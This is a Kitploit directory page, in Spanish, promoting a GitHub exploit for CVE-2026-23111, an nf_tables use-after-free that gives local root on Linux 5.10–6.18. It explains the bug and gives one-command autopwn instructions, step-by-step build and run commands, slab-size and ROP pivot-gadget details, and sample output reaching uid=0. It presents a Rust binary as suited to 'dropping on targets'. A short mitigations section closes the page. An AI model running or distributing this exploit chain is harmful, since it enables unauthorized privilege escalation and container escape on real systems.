Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-23111-POC-noddlenpottato — CVE-2026-23111 nf_tables catchall UAF — LPE sin privilegios para Linux 5.10-6.18. Exploit auto-adaptativo con bypass de KASLR, lectura arbitraria del kernel y cadena ROP. Compatible con Debian, Ubuntu, RHEL, Fedora. C/Python/Rust + autopwn. | Kitploit
Herramientas/GitHubGitHub/knz-source/cve-2026-23111-poc-noddlenpottato
Escalada de PrivilegiosExplotaciónExplotación de Binarios
GitHubknz-source/cve-2026-23111-poc-noddlenpottato

CVE-2026-23111-POC-noddlenpottato

CVE-2026-23111 nf_tables catchall UAF — LPE sin privilegios para Linux 5.10-6.18. Exploit auto-adaptativo con bypass de KASLR, lectura arbitraria del kernel y cadena ROP. Compatible con Debian, Ubuntu, RHEL, Fedora. C/Python/Rust + autopwn.

Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
5hace 8 díasAún no revisado

CVE-2026-23111 — noddlenpottato

nf_tables catchall UAF → LPE sin privilegios. de usuario a root en la mayoría de kernels linux 5.10—6.18.

se auto-adapta al kernel objetivo — detecta offsets de structs, resuelve símbolos, encuentra gadgets ROP, determina la slab cache, genera un exploit a medida, compila y ejecuta.

nf_tables catchall UAF → LPE sin privilegios. usuario común se vuelve root en la mayoría de los kernels linux 5.10—6.18.

se auto-adapta al kernel objetivo — detecta offsets de structs, resuelve símbolos, encuentra gadgets ROP, determina la slab cache, genera un exploit a medida, compila y ejecuta.

resumen de la cadena del exploit

exploit chain

estrategia de reclaim de slab

slab reclaim

la vulnerabilidad

EN: comprobación de genmask invertida en nft_map_catchall_activate() (net/netfilter/nf_tables_api.c). durante el abort de transacción, el handler omite catchall elements inactivos que necesitan reactivación y procesa los activos que no la necesitan. esto hace que chain->use se decremente sin una restauración adecuada, permitiendo DELCHAIN en una chain aún referenciada — creando un UAF.

PT: comprobación de genmask invertida en nft_map_catchall_activate() (net/netfilter/nf_tables_api.c). durante el abort de transacción, el handler omite los catchall elements inactivos que necesitan reactivación y procesa los activos que no la necesitan. esto causa el decremento de chain->use sin restauración adecuada, permitiendo DELCHAIN en una chain aún referenciada — creando un UAF.

la condición con el bug:

root@kitploit:~
// WRONG (actual code) — skips the elements that need reactivation
if (!nft_set_elem_active(ext, genmask))
    continue;

// CORRECT (what it should be) — skips elements already active
if (nft_set_elem_active(ext, iter->genmask))
    return 0;

lo que consigues

  • lectura arbitraria del kernel — lee 8 bytes de cualquier dirección virtual del kernel, sin límite de veces
  • bypass de KASLR — filtra la base del kernel desde el reclaim de seq_operations del nombre de la chain liberada
  • LPE completo — commit_creds(init_cred) mediante cadena ROP con retorno a userspace seguro contra KPTI
  • funciona desde un usuario sin privilegios — solo necesita unshare -rUn (user + network namespace)
  • funciona dentro de contenedores — pods de kubernetes, contenedores docker (consigue root en el namespace del contenedor)

versiones afectadas

el bug se introdujo en 6.1.36 (backport) y existe en múltiples ramas LTS:

esto cubre prácticamente todas las distros linux empresariales importantes publicadas entre 2023-2026.

inicio rápido

root@kitploit:~
git clone https://github.com/Knz-source/CVE-2026-23111-POC-noddlenpottato
cd CVE-2026-23111-POC-noddlenpottato
python3 autopwn.py

o paso a paso:

root@kitploit:~
python3 checker.py --detailed          # check if vulnerable / verifica se é vulneravel
python3 scripts/extract_offsets.py     # grab kernel offsets / pega offsets do kernel
python3 scripts/find_gadgets.py        # find ROP gadgets / encontra gadgets ROP
make                                   # build the exploit / compila o exploit
./exploit                              # pop root

estructura del repo

root@kitploit:~
.
├── autopwn.py                  full auto — detect, extract, compile, exploit
├── checker.py                  vulnerability checker (version, modules, userns, BTF)
├── exploit_61.c                base exploit (Debian 6.1.172 offsets, template for autopwn)
├── exploit/
│   ├── exploit.c               C exploit
│   ├── exploit.py              python wrapper with retry logic
│   └── exploit.rs              rust port (compiles static with musl)
├── scripts/
│   ├── extract_offsets.py      BTF/pahole offset extractor
│   ├── find_gadgets.py         ROP gadget finder (objdump/nm)
│   ├── slab_check.sh           slab cache analyzer
│   └── install_deps.sh         dependency installer
├── img/                        diagrams
├── Makefile                    build targets (C, Rust, deps)
├── EXPLOITATION.md             deep dive into the 5-phase exploit chain
├── DEBUGGING.md                step by step offset extraction and gadget hunting
└── CONSIDERATIONS.md           edge cases, bypasses, pitfalls

adaptaciones técnicas clave

el tamaño de la slab importa

sizeof(nft_chain) varía entre builds del kernel. un tamaño de spray incorrecto = fallo silencioso:

root@kitploit:~
debian 6.1.172:   120 bytes → kmalloc-128
ubuntu 6.5.x:     136 bytes → kmalloc-192
ubuntu 6.8.x:     152 bytes → kmalloc-192
debian 5.15.x:    112 bytes → kmalloc-128

el spray de userdata DEBE usar el tamaño exacto de la struct (no el tamaño de la slab). autopwn.py maneja esto automáticamente mediante pahole.

el gadget de pivot varía

el registro que contiene el puntero de expr en el call site de eval() cambia entre versiones del kernel:

kernelregisterrequired gadget
6.1.x (debian)rbpleave; jmp __x86_return_thunk
6.5+ (ubuntu)rbxmov rsp, rbx; ret or push rbx; pop rsp; ret

gadget incorrecto = pánico del kernel instantáneo. verifica siempre desensamblando nft_do_chain.

retpoline

los kernels modernos reemplazan todos los ret con jmp __x86_return_thunk. la búsqueda de gadgets debe tener esto en cuenta — no encontrarás pop rdi; ret, sino pop rdi; jmp __x86_return_thunk.

compilación

root@kitploit:~
# C (recomendado — más rápido, probado)
make

# Rust (binario estático con musl — bueno para dejar en objetivos)
make rust

# instalar dependencias de build
make deps

prueba

root@kitploit:~
$ id
uid=1000(user) gid=1000(user)

$ ./exploit
[*] CVE-2026-23111 nftables UAF -> LPE
[+] chain freed (kmalloc-128) + name freed (kmalloc-32)
[pwn] kbase = 0xffffffff9a400000
[pwn] my_task found at 0xffff8e4a1c084190
[pwn] canary = 0x5c6fa95dca98e100
[pwn] commit_creds(init_cred) -> ROP triggered
[+] root

# id
uid=0(root) gid=0(root) groups=0(root)

documentación

docwhat / o que
EXPLOITATION.mdfull exploit chain walkthrough with code, EN/PT
DEBUGGING.md

mitigaciones

root@kitploit:~
# update kernel to fixed version
apt upgrade linux-image-$(uname -r)

# or disable unprivileged user namespaces
sysctl -w kernel.unprivileged_userns_clone=0

# or blacklist nf_tables
echo 'install nf_tables /bin/true' >> /etc/modprobe.d/blacklist.conf

créditos

análisis original de la vulnerabilidad a partir del advisory de nf_tables. desarrollo completo de la cadena LPE, análisis de slab, adaptación multi-kernel, investigación de gadgets de pivot y tooling autopwn desarrollados de forma independiente.

Descargar herramienta
kernel rangefixed indistros affected
6.13 — 6.18.96.18.10fedora 41+, arch (rolling)
6.7 — 6.12.696.12.70ubuntu 24.04/24.10, fedora 39/40
6.1.36 — 6.1.1626.1.163debian 12 (bookworm), RHEL 9 derivatives
5.15.121 — 5.15.1995.15.200ubuntu 22.04 LTS, debian 11 backports
5.10.188+variousdebian 11 (bullseye), RHEL 8 derivatives
how to extract every offset and gadget for your kernel, EN/PT
CONSIDERATIONS.mdedge cases, bypasses, containers, SMEP/SMAP, detection, EN/PT